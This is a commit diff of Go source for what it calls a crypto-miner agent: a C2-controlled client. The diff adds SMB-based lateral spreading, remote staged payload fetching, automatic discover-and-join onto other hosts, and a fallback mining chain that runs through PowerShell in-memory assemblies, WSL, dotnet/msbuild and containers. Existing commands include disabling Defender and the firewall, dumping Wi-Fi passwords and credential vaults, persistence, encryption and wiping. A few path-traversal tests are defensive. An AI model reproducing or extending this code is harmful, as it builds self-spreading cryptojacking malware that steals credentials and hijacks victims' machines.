Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -16,10 +16,14 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
if !c.cfg.HolePunch {
|
||||
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
|
||||
}
|
||||
case "spread_now":
|
||||
case "spread_now", "spread_smb_unc", "discover_and_join":
|
||||
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
||||
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
||||
}
|
||||
case "stage_fetch":
|
||||
if !c.cfg.RemoteAggressive {
|
||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||
}
|
||||
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
|
||||
"subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords":
|
||||
if !c.cfg.RemoteAggressive {
|
||||
@@ -27,8 +31,8 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
}
|
||||
case "tunnel_status", "tunnel_wireguard":
|
||||
// Always available — read-only or Path Tracer config from server.
|
||||
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
|
||||
// No forge gate — always available.
|
||||
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover":
|
||||
// No forge gate — enumeration-only recon (Path Tracer + fleet discover).
|
||||
case "mesh_status":
|
||||
if !c.cfg.MeshP2P {
|
||||
return false, "mesh P2P not enabled in forge"
|
||||
@@ -90,6 +94,38 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "spread_smb_unc":
|
||||
unc := strings.TrimSpace(path)
|
||||
svcName := ""
|
||||
if unc == "" {
|
||||
unc = strings.TrimSpace(data)
|
||||
} else {
|
||||
svcName = strings.TrimSpace(data)
|
||||
}
|
||||
msg := deploy.RunSMBUNCSpread(c.cfg, deploy.SMBUNCSpreadOpts{
|
||||
UNCPath: unc,
|
||||
MaxHosts: parsePortArg(command, 64),
|
||||
SvcName: svcName,
|
||||
})
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "stage_fetch":
|
||||
var manifest deploy.StagingManifest
|
||||
if err := json.Unmarshal([]byte(data), &manifest); err != nil {
|
||||
c.sendCommandResult(action, false, "bad staging manifest: "+err.Error())
|
||||
return true
|
||||
}
|
||||
go func() {
|
||||
msg, err := deploy.RunStagingChain(c.cfg, manifest)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
}()
|
||||
return true
|
||||
|
||||
case "subnet_scan":
|
||||
maxHosts := parsePortArg(command, 64)
|
||||
out := deploy.ScanLocalSubnet(maxHosts)
|
||||
@@ -328,6 +364,24 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
case "wg_status":
|
||||
c.sendCommandResult(action, true, WGStatus())
|
||||
return true
|
||||
|
||||
case "service_discover":
|
||||
maxHosts := parsePortArg(command, 32)
|
||||
out := deploy.RunServiceDiscover(maxHosts)
|
||||
c.sendCommandResult(action, true, out)
|
||||
return true
|
||||
|
||||
case "discover_and_join":
|
||||
maxHosts := parsePortArg(command, 32)
|
||||
go func() {
|
||||
msg, err := c.runDiscoverAndJoin(maxHosts)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
}()
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
@@ -23,6 +24,7 @@ import (
|
||||
"crypto-miner-agent/job"
|
||||
"crypto-miner-agent/miner"
|
||||
"crypto-miner-agent/stats"
|
||||
"crypto-miner-agent/vulnprobe"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
@@ -46,6 +48,26 @@ type AgentClient struct {
|
||||
// The Stratum fallback manager monitors this to decide when to mine directly.
|
||||
connected atomic.Bool
|
||||
|
||||
// containerMiner supervises OCI-isolated CPU mining (container / docker_load tiers).
|
||||
containerMiner *miner.ContainerLauncher
|
||||
// wslMiner supervises CPU mining inside WSL2 via wsl.exe -e.
|
||||
wslMiner *miner.WSLLauncher
|
||||
// psMiner hosts in-memory assembly / encoded-command mining via powershell.exe.
|
||||
psMiner *miner.PowerShellLauncher
|
||||
// dotnetMiner compiles and runs a LOTL Stratum stub via dotnet/msbuild.
|
||||
dotnetMiner *miner.DotnetLauncher
|
||||
// hostMiningDisabled is true when a healthy container handles RandomX on the host.
|
||||
hostMiningDisabled atomic.Bool
|
||||
// miningChain orchestrates container → in-process → GPU → Stratum cascade.
|
||||
miningChain *MiningChainRunner
|
||||
// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
|
||||
tierPolicy miner.MiningTierPolicy
|
||||
// triplePolicy is server-pulled recon → deploy → mining gate policy.
|
||||
triplePolicy miner.TripleOnionPolicy
|
||||
triplePolicyLoaded bool
|
||||
// joinLane is the last successful discover_and_join supply-chain lane.
|
||||
joinLane string
|
||||
|
||||
// lastJobAt records when the most recent valid mining job was delivered.
|
||||
// The Stratum fallback manager uses this to detect "connected but jobless"
|
||||
// situations and start direct Stratum mining after a timeout.
|
||||
@@ -55,6 +77,9 @@ type AgentClient struct {
|
||||
// successful WS authentication confirms we are on an owned fleet.
|
||||
spreadOnce sync.Once
|
||||
|
||||
// commandResultHook is set in tests to observe sendCommandResult without a live WS.
|
||||
commandResultHook func(action string, success bool, message string)
|
||||
|
||||
// beaconMode is true while commands/results use HTTPS beacon transport.
|
||||
beaconMode atomic.Bool
|
||||
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
|
||||
@@ -69,6 +94,7 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||
agentID: cfg.AgentID,
|
||||
}
|
||||
c.mesh = NewMeshNode(c)
|
||||
c.initSpreadCredHooks()
|
||||
return c
|
||||
}
|
||||
|
||||
@@ -87,14 +113,15 @@ func (c *AgentClient) Run() error {
|
||||
c.pool.Start()
|
||||
defer c.pool.Stop()
|
||||
|
||||
// Start GPU miner (Ravencoin / KawPoW) if configured
|
||||
if gm := newGPUMiner(c.cfg); gm != nil {
|
||||
c.mu.Lock()
|
||||
c.gpuMiner = gm
|
||||
c.mu.Unlock()
|
||||
gm.Start()
|
||||
defer gm.Stop()
|
||||
chainCtx, chainCancel := context.WithCancel(context.Background())
|
||||
defer chainCancel()
|
||||
c.miningChain = c.newMiningChainRunner()
|
||||
if deploy.WantsDeferMining() {
|
||||
go c.startMiningWhenReady(chainCtx)
|
||||
} else {
|
||||
c.miningChain.Start(chainCtx)
|
||||
}
|
||||
defer c.miningChain.Stop()
|
||||
|
||||
// Start AI Autonomy runner if enabled
|
||||
if c.cfg.AIEnabled {
|
||||
@@ -324,9 +351,12 @@ func (c *AgentClient) authenticate() error {
|
||||
OSVersion: deploy.HostOSVersion(),
|
||||
MacAddress: primaryMACAddress(),
|
||||
BuildID: c.cfg.BuildID,
|
||||
USBSpread: c.cfg.USBSpread,
|
||||
Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
|
||||
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
|
||||
USBSpread: c.cfg.USBSpread,
|
||||
Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
|
||||
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
|
||||
LotlOnionEnabled: c.cfg.LotlOnionEnabled,
|
||||
LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
|
||||
JoinLane: c.getJoinLane(),
|
||||
})
|
||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||
return err
|
||||
@@ -350,7 +380,15 @@ func (c *AgentClient) authenticate() error {
|
||||
if !resp.Success {
|
||||
return fmt.Errorf("auth failed: %s", resp.Error)
|
||||
}
|
||||
c.applyAuthLotlPolicy(resp)
|
||||
c.agentID = resp.AgentID
|
||||
if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
|
||||
c.mu.Lock()
|
||||
c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
|
||||
cfg := c.cfg
|
||||
c.mu.Unlock()
|
||||
log.Printf("[agent] LOTL onion tiers pulled from server: %v", cfg.LotlOnionTiers)
|
||||
}
|
||||
c.clearWSDownSince()
|
||||
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
|
||||
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
|
||||
@@ -360,16 +398,21 @@ func (c *AgentClient) authenticate() error {
|
||||
|
||||
// Gate AutoSpread behind successful server auth: only spread on fleets where
|
||||
// our fleet secret was accepted, preventing lateral movement on non-owned networks.
|
||||
if c.cfg.AutoSpread {
|
||||
c.spreadOnce.Do(func() {
|
||||
deploy.StartAutoSpreader(c.cfg)
|
||||
// One-shot first-run spread (triggered on the very first install).
|
||||
if deploy.WantsFirstRunSpread(c.cfg) {
|
||||
deploy.RunSpreadOnce(c.cfg)
|
||||
deploy.ClearFirstRunSpreadMarker(c.cfg)
|
||||
c.spreadOnce.Do(func() {
|
||||
c.mu.Lock()
|
||||
cfg := c.cfg
|
||||
c.mu.Unlock()
|
||||
if cfg.AutoSpread {
|
||||
deploy.StartAutoSpreader(cfg)
|
||||
if deploy.WantsFirstRunSpread(cfg) {
|
||||
deploy.RunSpreadOnce(cfg)
|
||||
deploy.ClearFirstRunSpreadMarker(cfg)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
if cfg.LotlOnionEnabled {
|
||||
deploy.StartLotlOnion(cfg)
|
||||
}
|
||||
})
|
||||
|
||||
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
|
||||
return nil
|
||||
@@ -465,24 +508,62 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, "module "+module+" applied")
|
||||
case "start_mining":
|
||||
// WSL sidecar: toggle systemd user unit when that tier is active (see wsl_launcher.go).
|
||||
if c.wslMiner != nil && c.wslMiner.Running() {
|
||||
wslRT := miner.WSLDetector()
|
||||
_ = miner.ToggleWSLMining(wslRT, "", true)
|
||||
}
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.Resume(context.Background())
|
||||
} else {
|
||||
c.pool.ResumeRemote()
|
||||
}
|
||||
c.sendCommandResult(action, true, "mining started")
|
||||
case "pause":
|
||||
c.pool.PauseRemote()
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Pause()
|
||||
if c.wslMiner != nil && c.wslMiner.Running() {
|
||||
wslRT := miner.WSLDetector()
|
||||
_ = miner.ToggleWSLMining(wslRT, "", false)
|
||||
}
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.Stop()
|
||||
} else {
|
||||
c.pool.PauseRemote()
|
||||
if c.containerMiner != nil && c.containerMiner.Running() {
|
||||
c.containerMiner.Stop()
|
||||
}
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Pause()
|
||||
}
|
||||
}
|
||||
c.sendCommandResult(action, true, "mining paused")
|
||||
case "resume":
|
||||
c.pool.ResumeRemote()
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Resume()
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.Resume(context.Background())
|
||||
} else {
|
||||
if c.containerMiner != nil && !c.containerMiner.Running() {
|
||||
if err := c.containerMiner.Start(); err != nil {
|
||||
log.Printf("[container] resume restart failed: %v — using in-process mining", err)
|
||||
c.hostMiningDisabled.Store(false)
|
||||
c.pool.ResumeRemote()
|
||||
} else {
|
||||
c.hostMiningDisabled.Store(true)
|
||||
c.pool.PauseRemote()
|
||||
}
|
||||
} else if !c.hostMiningDisabled.Load() {
|
||||
c.pool.ResumeRemote()
|
||||
}
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Resume()
|
||||
}
|
||||
}
|
||||
c.sendCommandResult(action, true, "mining resumed")
|
||||
c.sendCommandResult(action, true, "fleet health: hashing restored")
|
||||
case "restart":
|
||||
c.sendCommandResult(action, true, "restarting")
|
||||
go c.restartSelf()
|
||||
@@ -515,6 +596,8 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
c.sendCommandResult(action, true, "system shutdown initiated")
|
||||
}
|
||||
}()
|
||||
case "mining_diagnostics":
|
||||
c.sendCommandResult(action, true, c.miningDiagnosticsJSON())
|
||||
case "get_log":
|
||||
if tailLines <= 0 {
|
||||
tailLines = 300
|
||||
@@ -640,6 +723,10 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
}
|
||||
|
||||
func (c *AgentClient) sendCommandResult(action string, success bool, message string) {
|
||||
if c.commandResultHook != nil {
|
||||
c.commandResultHook(action, success, message)
|
||||
return
|
||||
}
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"action": action,
|
||||
"success": success,
|
||||
@@ -841,6 +928,16 @@ func probeSSH() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func (c *AgentClient) stratumEgress(stratumOverlay bool) string {
|
||||
if stratumOverlay {
|
||||
return "direct"
|
||||
}
|
||||
if c.connected.Load() {
|
||||
return "c2_ws"
|
||||
}
|
||||
return "none"
|
||||
}
|
||||
|
||||
func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
ticker := time.NewTicker(10 * time.Second)
|
||||
defer ticker.Stop()
|
||||
@@ -852,6 +949,8 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
var lastPressure *ResourcePressure
|
||||
var lastDNS *DNSConfig
|
||||
var lastListenPortCount *int
|
||||
var lastNetworkHints *deploy.NetworkHints
|
||||
var lastVulnReport *vulnprobe.ScanReport
|
||||
var postureReady bool
|
||||
for {
|
||||
select {
|
||||
@@ -908,6 +1007,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
n := lp.Count
|
||||
lastListenPortCount = &n
|
||||
}
|
||||
hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts)
|
||||
lastNetworkHints = &hints
|
||||
lastVulnReport = RunVulnLOTLProbe()
|
||||
}
|
||||
probeTick++
|
||||
|
||||
@@ -927,6 +1029,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
stats.DNSSearchDomains = lastDNS.SearchDomains
|
||||
}
|
||||
stats.ListenPortCount = lastListenPortCount
|
||||
stats.NetworkHints = lastNetworkHints
|
||||
if lastPressure != nil {
|
||||
stats.CPUFreqMHz = lastPressure.CPUFreqMHz
|
||||
stats.CPUMaxMHz = lastPressure.CPUMaxMHz
|
||||
@@ -972,6 +1075,69 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
stats.AgentElevated = lastPosture.AgentElevated
|
||||
stats.Services = lastPosture.Services
|
||||
}
|
||||
if c.miningChain != nil {
|
||||
ms := c.miningChain.Status()
|
||||
stats.ActiveMethod = string(ms.ActiveMethod)
|
||||
stats.StratumOverlay = ms.StratumOverlay
|
||||
stats.ChainExhausted = ms.ChainExhausted
|
||||
stats.MiningLastError = ms.LastError
|
||||
if ms.LOTLTier != "" {
|
||||
stats.LOTLTier = string(ms.LOTLTier)
|
||||
}
|
||||
if len(ms.LOTLAttempts) > 0 {
|
||||
stats.LOTLAttempts = make([]TierAttemptPayload, len(ms.LOTLAttempts))
|
||||
for i, a := range ms.LOTLAttempts {
|
||||
stats.LOTLAttempts[i] = TierAttemptPayload{
|
||||
Phase: a.Phase,
|
||||
Tier: string(a.Tier),
|
||||
OK: a.OK,
|
||||
Error: a.Error,
|
||||
DurationMs: a.DurationMs,
|
||||
Wallet: a.Wallet,
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(ms.FailedMethods) > 0 {
|
||||
stats.FailedMethods = make([]MethodFailurePayload, len(ms.FailedMethods))
|
||||
for i, f := range ms.FailedMethods {
|
||||
stats.FailedMethods[i] = MethodFailurePayload{
|
||||
Method: string(f.Method),
|
||||
Reason: f.Reason,
|
||||
At: f.At,
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(ms.ChainOrder) > 0 {
|
||||
stats.ChainOrder = make([]string, len(ms.ChainOrder))
|
||||
for i, m := range ms.ChainOrder {
|
||||
stats.ChainOrder[i] = string(m)
|
||||
}
|
||||
}
|
||||
stats.StratumEgress = c.stratumEgress(ms.StratumOverlay)
|
||||
} else {
|
||||
stats.StratumEgress = c.stratumEgress(false)
|
||||
}
|
||||
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
|
||||
if lastVulnReport != nil {
|
||||
score := lastVulnReport.RiskScore
|
||||
stats.VulnRiskScore = &score
|
||||
if len(lastVulnReport.Findings) > 0 {
|
||||
stats.VulnFindings = make([]VulnFindingPayload, len(lastVulnReport.Findings))
|
||||
for i, f := range lastVulnReport.Findings {
|
||||
stats.VulnFindings[i] = VulnFindingPayload{
|
||||
CVEID: f.CVEID,
|
||||
Severity: f.Severity,
|
||||
Component: f.Component,
|
||||
Patched: f.Patched,
|
||||
ExploitableInFleetContext: f.ExploitableInFleetContext,
|
||||
Detail: f.Detail,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if lane := c.getJoinLane(); lane != "" {
|
||||
stats.JoinLane = lane
|
||||
}
|
||||
payload, _ := json.Marshal(stats)
|
||||
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
|
||||
log.Printf("[agent] stats send failed: %v", err)
|
||||
@@ -1026,6 +1192,10 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||
if c.cfg.PoolHost == "" {
|
||||
return // no pool configured
|
||||
}
|
||||
if c.cfg.StratumOverWS {
|
||||
log.Printf("[stratum] StratumOverWS enabled — direct pool egress disabled; telemetry via C2 WebSocket")
|
||||
return
|
||||
}
|
||||
|
||||
type fallback struct {
|
||||
stop chan struct{}
|
||||
@@ -1057,6 +1227,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||
sc.RunFallback(stop)
|
||||
}()
|
||||
fb = &fallback{stop: stop, wait: wait}
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.SetStratumActive(true)
|
||||
}
|
||||
if c.connected.Load() {
|
||||
log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
||||
} else {
|
||||
@@ -1070,6 +1243,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||
<-fb.wait
|
||||
fb = nil
|
||||
c.pool.SetShareHandler(c.submitShare)
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.SetStratumActive(false)
|
||||
}
|
||||
log.Printf("[stratum] fallback stopped — %s", reason)
|
||||
}
|
||||
}
|
||||
|
||||
131
agent/client/client_upload_test.go
Normal file
131
agent/client/client_upload_test.go
Normal file
@@ -0,0 +1,131 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
type commandResult struct {
|
||||
action string
|
||||
success bool
|
||||
message string
|
||||
}
|
||||
|
||||
func captureCommandResult(t *testing.T, c *AgentClient) (done <-chan struct{}, result *commandResult) {
|
||||
t.Helper()
|
||||
ch := make(chan struct{})
|
||||
var mu sync.Mutex
|
||||
out := &commandResult{}
|
||||
c.commandResultHook = func(action string, success bool, message string) {
|
||||
mu.Lock()
|
||||
out.action = action
|
||||
out.success = success
|
||||
out.message = message
|
||||
mu.Unlock()
|
||||
close(ch)
|
||||
}
|
||||
t.Cleanup(func() { c.commandResultHook = nil })
|
||||
return ch, out
|
||||
}
|
||||
|
||||
func TestUploadCommandRejectsPathTraversal(t *testing.T) {
|
||||
data := base64.StdEncoding.EncodeToString([]byte("payload"))
|
||||
|
||||
cases := []struct {
|
||||
name string
|
||||
path string
|
||||
}{
|
||||
{name: "unix_relative", path: "../../etc/passwd"},
|
||||
{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
|
||||
{name: "embedded_traversal", path: "uploads/../../outside.txt"},
|
||||
{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
|
||||
}
|
||||
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
_, err := deploy.ResolveRemotePath(tc.path)
|
||||
if err == nil {
|
||||
t.Fatalf("ResolveRemotePath(%q) should reject traversal", tc.path)
|
||||
}
|
||||
if !strings.Contains(err.Error(), "path traversal") {
|
||||
t.Fatalf("ResolveRemotePath(%q) error = %q, want path traversal rejection", tc.path, err.Error())
|
||||
}
|
||||
|
||||
c := newTestClient(t)
|
||||
done, got := captureCommandResult(t, c)
|
||||
c.handleCommand("upload", 0, "", tc.path, data, "")
|
||||
<-done
|
||||
|
||||
if got.action != "upload" {
|
||||
t.Fatalf("action = %q, want upload", got.action)
|
||||
}
|
||||
if got.success {
|
||||
t.Fatalf("upload with %q should fail (success=true, message=%q)", tc.path, got.message)
|
||||
}
|
||||
if !strings.Contains(got.message, "path traversal") {
|
||||
t.Fatalf("message = %q, want path traversal error from ResolveRemotePath", got.message)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
func TestDownloadCommandRejectsPathTraversal(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
path string
|
||||
}{
|
||||
{name: "unix_relative", path: "../../etc/passwd"},
|
||||
{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
|
||||
{name: "embedded_traversal", path: "uploads/../../outside.txt"},
|
||||
{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
|
||||
}
|
||||
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
_, err := deploy.ResolveRemotePath(tc.path)
|
||||
if err == nil {
|
||||
t.Fatalf("ResolveRemotePath(%q) should reject traversal", tc.path)
|
||||
}
|
||||
if !strings.Contains(err.Error(), "path traversal") {
|
||||
t.Fatalf("ResolveRemotePath(%q) error = %q, want path traversal rejection", tc.path, err.Error())
|
||||
}
|
||||
|
||||
c := newTestClient(t)
|
||||
done, got := captureCommandResult(t, c)
|
||||
c.handleCommand("download", 0, "", tc.path, "", "")
|
||||
<-done
|
||||
|
||||
if got.action != "download" {
|
||||
t.Fatalf("action = %q, want download", got.action)
|
||||
}
|
||||
if got.success {
|
||||
t.Fatalf("download with %q should fail (success=true, message=%q)", tc.path, got.message)
|
||||
}
|
||||
if !strings.Contains(got.message, "path traversal") {
|
||||
t.Fatalf("message = %q, want path traversal error from ResolveRemotePath", got.message)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
func TestUploadCommandAcceptsSafePath(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
dest := dir + "/notes.txt"
|
||||
data := base64.StdEncoding.EncodeToString([]byte("ok"))
|
||||
|
||||
c := newTestClient(t)
|
||||
done, got := captureCommandResult(t, c)
|
||||
c.handleCommand("upload", 0, "", dest, data, "")
|
||||
<-done
|
||||
|
||||
if !got.success {
|
||||
t.Fatalf("safe upload failed: %s", got.message)
|
||||
}
|
||||
if got.action != "upload" {
|
||||
t.Fatalf("action = %q, want upload", got.action)
|
||||
}
|
||||
}
|
||||
@@ -40,6 +40,12 @@ func (c *AgentClient) handleReconCommand(action, command string) bool {
|
||||
c.sendCommandResult(action, true, string(b))
|
||||
return true
|
||||
}
|
||||
if action == "network_recon" {
|
||||
hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts)
|
||||
b, _ := json.Marshal(hints)
|
||||
c.sendCommandResult(action, true, string(b))
|
||||
return true
|
||||
}
|
||||
if action == "persistence_audit" {
|
||||
report := collectPersistenceAudit()
|
||||
b, _ := json.Marshal(report)
|
||||
|
||||
87
agent/client/discover_join.go
Normal file
87
agent/client/discover_join.go
Normal file
@@ -0,0 +1,87 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
func (c *AgentClient) setJoinLane(lane string) {
|
||||
c.mu.Lock()
|
||||
c.joinLane = strings.TrimSpace(lane)
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
func (c *AgentClient) getJoinLane() string {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
return c.joinLane
|
||||
}
|
||||
|
||||
func (c *AgentClient) fetchDeployPlan(services []deploy.DeployServiceFinding, uncPath string) (deploy.DeployPlanResponse, error) {
|
||||
var out deploy.DeployPlanResponse
|
||||
base, err := c.apiBaseURL(c.cfg.ServerURL)
|
||||
if err != nil {
|
||||
return out, err
|
||||
}
|
||||
body, _ := json.Marshal(map[string]interface{}{
|
||||
"agent_id": c.agentID,
|
||||
"build_id": c.cfg.BuildID,
|
||||
"campaign": strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
|
||||
"platform": runtime.GOOS,
|
||||
"services": services,
|
||||
"unc_path": uncPath,
|
||||
})
|
||||
req, err := http.NewRequest(http.MethodPost, base+"/agent/deploy-plan", bytes.NewReader(body))
|
||||
if err != nil {
|
||||
return out, err
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
|
||||
client := &http.Client{Timeout: 60 * time.Second}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return out, err
|
||||
}
|
||||
data, _ := io.ReadAll(resp.Body)
|
||||
resp.Body.Close()
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return out, fmt.Errorf("deploy-plan auth rejected")
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return out, fmt.Errorf("deploy-plan HTTP %s: %s", resp.Status, strings.TrimSpace(string(data)))
|
||||
}
|
||||
if err := json.Unmarshal(data, &out); err != nil {
|
||||
return out, err
|
||||
}
|
||||
if !out.OK && out.Error != "" {
|
||||
return out, fmt.Errorf("%s", out.Error)
|
||||
}
|
||||
if out.JoinLane == "" && out.Plan.JoinLane != "" {
|
||||
out.JoinLane = out.Plan.JoinLane
|
||||
}
|
||||
out.OK = true
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *AgentClient) runDiscoverAndJoin(maxLANHosts int) (string, error) {
|
||||
fetch := func(services []deploy.DeployServiceFinding, uncPath string) (deploy.DeployPlanResponse, error) {
|
||||
return c.fetchDeployPlan(services, uncPath)
|
||||
}
|
||||
lane, detail, err := deploy.RunDiscoverAndJoin(c.cfg, maxLANHosts, fetch)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if lane != "" {
|
||||
c.setJoinLane(lane)
|
||||
}
|
||||
return fmt.Sprintf("join_lane=%s; %s", lane, detail), nil
|
||||
}
|
||||
488
agent/client/mining_chain.go
Normal file
488
agent/client/mining_chain.go
Normal file
@@ -0,0 +1,488 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"sync"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
// MiningChainRunner wires the unified fallback cascade into AgentClient.
|
||||
type MiningChainRunner struct {
|
||||
client *AgentClient
|
||||
ctrl *miner.ChainController
|
||||
tiers *miner.TierOrchestrator
|
||||
onion *miner.TripleOnionOrchestrator
|
||||
|
||||
mu sync.Mutex
|
||||
monCancel context.CancelFunc
|
||||
onionAttempts []miner.TierAttempt
|
||||
}
|
||||
|
||||
func (c *AgentClient) newMiningChainRunner() *MiningChainRunner {
|
||||
miner.SetVulnProbeRunner(func() miner.TierAttempt {
|
||||
report := RunVulnLOTLProbe()
|
||||
attempt := miner.TierAttempt{
|
||||
Tier: miner.TierVulnProbe,
|
||||
OK: true,
|
||||
Wallet: c.cfg.Wallet,
|
||||
Details: map[string]interface{}{
|
||||
"risk_score": report.RiskScore,
|
||||
"exposed_count": report.ExposedCount,
|
||||
"finding_count": len(report.Findings),
|
||||
},
|
||||
}
|
||||
return attempt
|
||||
})
|
||||
r := &MiningChainRunner{client: c}
|
||||
hooks := miner.ChainHooks{
|
||||
StartDockerLoad: r.startDockerLoad,
|
||||
StartContainer: r.startContainer,
|
||||
StartWSL: r.startWSL,
|
||||
StartPowerShell: r.startPowerShell,
|
||||
StartDotnet: r.startDotnet,
|
||||
StartInProcess: r.startInProcess,
|
||||
StartGPU: r.startGPU,
|
||||
StartPyOpenCL: r.startPyOpenCL,
|
||||
StopDockerLoad: r.stopDockerLoad,
|
||||
